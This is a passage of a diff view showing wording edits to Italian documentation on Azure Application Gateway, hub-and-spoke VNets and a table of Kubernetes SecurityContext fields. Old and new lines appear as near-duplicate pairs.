Considera uno scenario in cui hai un sito web di e-commerce che include più sottodomini per diverse funzioni, come account utente e elaborazione dei pagamenti. Azure Application Gateway può **instradare il traffico ai server web appropriati in base al percorso URL**. Ad esempio, il traffico verso `example.com/accounts` potrebbe essere diretto al servizio account utente, e il traffico verso `example.com/pay` potrebbe essere diretto al servizio di elaborazione dei pagamenti.\
E **proteggi il tuo sito web dagli attacchi utilizzando le capacità WAF.**
### **Enumerazione**
@@ -331,7 +331,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
**Esempio:**
Immagina un'azienda con dipartimenti separati come Vendite, Risorse Umane e Sviluppo, **ognuno con la propria VNet (gli spoke)**. Queste VNet **richiedono accesso a risorse condivise** come un database centrale, un firewall e un gateway internet, che si trovano tutti in **un'altra VNet (l'hub)**. Utilizzando il modello Hub e Spoke, ogni dipartimento può **connettersi in modo sicuro alle risorse condivise attraverso l'hub VNet senza esporre quelle risorse a internet pubblico** o creare una struttura di rete complessa con numerose connessioni.
Immagina un'azienda con dipartimenti separati come Vendite, Risorse Umane e Sviluppo, **ognuno con la propria VNet (gli spoke)**. Queste VNet **richiedono accesso a risorse condivise** come un database centrale, un firewall e un gateway internet, che si trovano tutti in **un'altra VNet (l'hub)**. Utilizzando il modello Hub e Spoke, ogni dipartimento può **connettersi in modo sicuro alle risorse condivise attraverso l'hub VNet senza esporre quelle risorse a Internet pubblico** o creare una struttura di rete complessa con numerose connessioni.
### Enumerazione

View File

@@ -46,8 +46,8 @@ Nota che gli attributi impostati in **entrambi SecurityContext e PodSecurityCont
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>Ulteriori informazioni su</em> <em><strong>Capabilities</strong></em></p> | Le **capabilities da aggiungere/rimuovere durante l'esecuzione dei container**. Predefinito al set di capabilities predefinito. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>booleano</em></p> | Esegui il container in modalità privilegiata. I processi nei container privilegiati sono essenzialmente **equivalenti a root sull'host**. Predefinito a false. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>stringa</em></p> | procMount denota il **tipo di montaggio proc da utilizzare per i container**. Il predefinito è DefaultProcMount che utilizza i valori predefiniti del runtime del container per i percorsi di sola lettura e i percorsi mascherati. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>booleano</em></p> | Se questo **container ha un filesystem root di sola lettura**. Predefinito a false. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>stringa</em></p> | procMount indica il **tipo di montaggio proc da utilizzare per i container**. Il predefinito è DefaultProcMount che utilizza i valori predefiniti del runtime del container per i percorsi di sola lettura e i percorsi mascherati. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>booleano</em></p> | Se questo **container ha un filesystem root di sola lettura**. Il predefinito è false. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>intero</em></p> | Il **GID per eseguire l'entrypoint** del processo del container. Usa il valore predefinito di runtime se non impostato. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>booleano</em></p> | Indica che il container deve **essere eseguito come un utente non root**. Se vero, il Kubelet convaliderà l'immagine a runtime per assicurarsi che non venga eseguita come UID 0 (root) e non avvierà il container se lo fa. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>intero</em></p> | Il **UID per eseguire l'entrypoint** del processo del container. Predefinito all'utente specificato nei metadati dell'immagine se non specificato. |
@@ -55,7 +55,7 @@ Nota che gli attributi impostati in **entrambi SecurityContext e PodSecurityCont
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | Le **opzioni seccomp** da utilizzare per questo container. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | Le **impostazioni specifiche di Windows** applicate a tutti i container. |
## Riferimenti
## References
- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)